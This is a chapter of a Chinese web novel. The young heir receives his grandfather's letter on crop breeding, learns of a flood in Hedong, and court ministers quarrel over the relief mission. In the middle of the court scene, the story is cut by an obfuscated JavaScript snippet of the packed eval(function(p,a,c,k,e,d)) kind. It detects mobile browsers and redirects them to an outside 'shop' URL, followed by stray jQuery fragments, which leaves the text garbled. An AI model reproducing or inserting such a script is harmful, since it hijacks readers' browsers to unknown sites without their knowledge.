54.第 54 章
作品:《穿越古代做纨绔子弟》 信的开头照例是几句训诫,让他好好读书、孝顺长辈,又说了自己万事都好,让曹夫人不用给他寄什么东西。然后笔锋一转,说起他信中请托的事。
“汝信中所述选育良种之事,吾已阅之。初觉荒谬,国公世子,不读圣贤书,反求农桑之事,岂非本末倒置?然细思之,民为邦本,食为民天,若能选育良种,增益收成,使百姓免于饥荒,此亦功德无量之事。”
邵明霄挠着头看到这里,咧嘴笑了。
他外祖父确实是他所见之人中一等一的古板,就看这信,他也不是没见过别人写的信,但都没有像他外祖父这样,全篇之乎者也,恨不得给他搞篇八股文来……
不过他虽然性格古板,却并不会顽固不化,还是很讲道理的。
信的后半部分,外祖父详细说了他这些年积累的农事经验,哪些作物适合选育、选育的方法有哪些、需要注意什么,写得密密麻麻,足足三大页。
最后,外祖父写道:“河东多老农,世代务农,经验丰富。吾已令人访寻,然近日河东多雨,诸事繁多,恐无法顾及。待日后若有善于选种者,便送京中与你。”
“汝既有此心,便好生为之。然切记,农事需耐心,不可急功近利。三年五载能见成效,已是幸事。若十年八年方成,亦是常事。勿因一时无成而气馁,亦勿因小有成就而自满。”
“汝虽年幼,能心怀黎民百姓,拳拳之心,溢于行止。外祖闻之,不胜欣悦,为汝之仁心与志气,深以为荣。然勤勉之余,亦当善自调养,勿使劳累。强健筋骨,方能日臻远大。惟愿汝节饮食、适寒温,待以岁时,成栋梁之材,则外祖之望足矣。”
邵明霄捧着信,心里暖洋洋的。
外祖父虽然远在河东,小时候见过面,但如今早就不记得了,可自己提了要求,外祖立马就支持,仅这个就比什么都强了。
不过这都秋天了,还在秋收,那边下雨了吗?如果他没记错的话,河东,好像是山西那边吧,黄河流域的话,如果雨下的太大,那……
邵明霄眉心一跳,应该不至于吧?
他正想着怎么回信,忽然外面一阵喧哗。
豆苗儿跑进来:“世子,不好了!”
邵明霄心里一紧:“怎么了?”
“刚才有消息传来,说是河东一带突降大雨,好几个县都发了洪水!老太爷那边也受灾了,地里还有一茬粮食没收回来呢!”
豆苗儿话音未落,邵明霄只觉得脑子里“嗡”的一声,手里的信纸险些被捏破。
“你说什么?河东,河东发洪水了?”他声音都变了调,方才看信时心里的担心竟然成了真。
“是,世子。”豆苗儿也急得额头冒汗,“刚才有从河东来的商队在城门口歇脚,说前几日连降暴雨,汾水都决了口,好几个县都淹了。您外祖父所在的州城地势低,听说城外田地全泡在水里,一茬晚稻没收上来,仓库也进了水。”
“外祖父人在州城还是乡下?”邵明霄追问。
“这,这我也不知道啊!”
邵明霄咬紧了牙关,他外祖父虽然是个有些古板地读书人,但是他当官却从来不是在官府里一坐当大老爷,他更喜欢往外跑去调查民生,如今……
邵明霄只觉得胸口一阵发闷,外祖父那封信还热乎着,那边已是天灾人祸。
“那有人去朝廷报信吗?”
豆苗儿摇头,“我也不知道,我听说了消息就赶紧回来了。”
他叹了口气,拿着信往后宅跑,等见到曹夫人后将事情先说与她听,不管是真有噩耗还是虚惊一场,他娘是外祖父的亲生女儿,必须得知道这个消息。
等说完后看着曹夫人苍白的脸,邵明霄满心的不忍,“娘!”他喊了一声。
曹夫人抬头,眼泪再也忍不住,扑上来抓住他的手:“明霄,你外祖父,你外祖父他,他不会真出事吧!”
虽然她长这么大和父亲相处的时间很有限,但父亲对她的关爱却没有少一分一毫,反倒因为自己不能伴在他身边,又自小没了亲娘而多了几分怜惜,她怎么可能没有孺慕之情?
邵明霄强笑道:“娘,您别急,外祖父吉人自有天相,不会有事的。”
曹夫人已着急得不知道该说什么好了,邵渊又还没回来,此时拉着邵明霄的手像是抓到了最后一根稻草一样求证:“真的吗?我爹真的会没事儿吗?”
邵明霄用力点头,“娘你放心,我先进宫去看看,我也不确定如今宫中知不知道这情况,总得去问问的。”
“好好,你快去”,曹夫人抹了把脸催他,到底是前朝的事情,自己去问皇后也不合适,不然她便自己进宫了。
邵明霄带着令牌便进宫了,本想去乾清宫找皇上,可听说皇上正在议事,想了想他便到慈庆宫去了。
他正叹着气时就见外面窜进来一个小身影,邵明霄愣了一下,“三皇子?”
刘明成点了点头坐在了他身边没有说话,邵明霄也没心思跟他寒暄,焦急地等着太子回来。
御书房内,气氛凝重得几乎能滴出水来。
龙涎香在鎏金铜炉中静静燃烧,却驱不散那股子从四面八方汇聚而来的压抑。御案上,河东道的八百里加急奏报堆积如山,每一个朱红的“急”字都像是一把带血的刀,戳在每一位大臣的心头。
“……汾水决堤七处,淹没良田万亩,流民逾十万,州城外三十里,已成泽国,情势危如累卵……”
御史大夫赵严手持折子,声音颤抖,念到最后已然是泣不成声。
御书房内众人鸦雀无声。
户部尚书滕引泉站在文官队列的前列,眉头微微抖动。他低垂着眼睑,手指在无意识地敲击,心里头那本账算得飞快。
河东道向来是天下之要会,就算不提别的战略考虑,仅凭向北可抵御游牧民族南下便已具有重要意义了。
除此之外,运城的盐池可是大明最重要的盐袋子啊!
再加上那里地势低平、水源充足,只要不遇到灾害,收成都很不错。更别提那里可还有不少的铜矿、铁矿呢!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280356|193915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想到这里,滕引泉的心愈发火热。
滕引泉眼皮微抬,目光扫过几位中立派,心中已然有了计较。他清了清嗓子,向前迈出半步,躬身奏道:“陛下,河东水患,已造成巨大的损失。当务之急,乃是安抚民心,调拨钱粮。臣以为,此事关乎国计民生,非得一位德高望重、善于民政的臣子前往坐镇不可。臣举荐都察院佥都御史李大人。李大人曾在河南治理黄河水患,颇有经验,且为人谨慎,必能不辱使命。”
此言一出,不少官员心中了然。李大人确实是干吏,但他是滕引泉的连襟,更是出了名的听话。派他去,等于是把这十万灾民的性命,交到了滕党手中。届时赈灾的银子怎么花,粮食怎么发,还不是滕引泉一句话的事?
不少人眼中透出鄙夷来,这人真是演都不演一下啊!
“臣以为不可。”
一个清朗而略带冷意的声音传来,是兵部左侍郎陶磐。他素来都是不问便不会主动发言的,众人没想到竟然是他先站了出来,不买滕引泉的账。
滕引泉目光很是寒凉,这是看他爹走了,这些人都不把自己放在眼里了啊!
陶磐跨步出列,沉声道:“滕大人,李大人虽有治河之名,但那是治河,不是救灾。黄河水患,重在疏浚,重要却并不危急。可这河东水灾,是涝,是泄洪不及,是房屋倒塌,是瘟疫将起!那是一片死地,不是什么建功立业的良机。李大人向来没处理过这些,他若去了还办不成,最后写几道请罪的折子他的罪责倒是过去了,那灾民呢?灾民饿死,然后回京来向陛下讨要抚恤银子?”说到最后,他语气里的讥诮谁都听得出来。
“你!”滕引泉脸色一沉,厉声道,“陶大人,休得胡言!救灾恤民,本就是我文官职责所在。你一个武夫,怎知民政艰难?李大人仁厚,必能妥善安置。你这是质疑吏部铨选吗?”
“我质疑的是有人想借机揽功,置灾民于水火而不顾!”陶磐毫不示弱,目光如炬。他有什么可怕的?便是之前那位滕大人还在的时候,皇上都没让他插手过兵部的事情,现在他更是没什么可怕的了?
再说了,便是会被滕家人报复又如何?平时也就罢了,如今这是什么情况?人命关天,那么多百姓的生死怎么可能让他拿来权衡?
“河东道现在最缺的不是会写奏章的官,而是一支能维持秩序、能打通道路、能背起药箱去疫区拼命的队伍!滕大人,您户部若是真有银子,不如直接拨给有司,何必派个不懂变通的官去指手画脚,平白误了时辰?”
“你放肆!”滕引泉气得胡子翘起,“你这是诽谤!本尚书一心为国,何来揽功之说?”
两人针锋相对,朝堂之上顿时分为两派。一方是以滕引泉为首的文官集团,主张稳妥,实则想掌控局面;另一方是以陶磐为代表的务实派,主张速战速决,救人要紧。
龙椅之上,皇帝一直沉默不语,手指轻轻敲击着扶手,发出“笃笃”的声响。他的目光在争吵的两人身上扫过,又落在大殿中央那根盘龙柱上,深邃的眼眸中看不出喜怒。

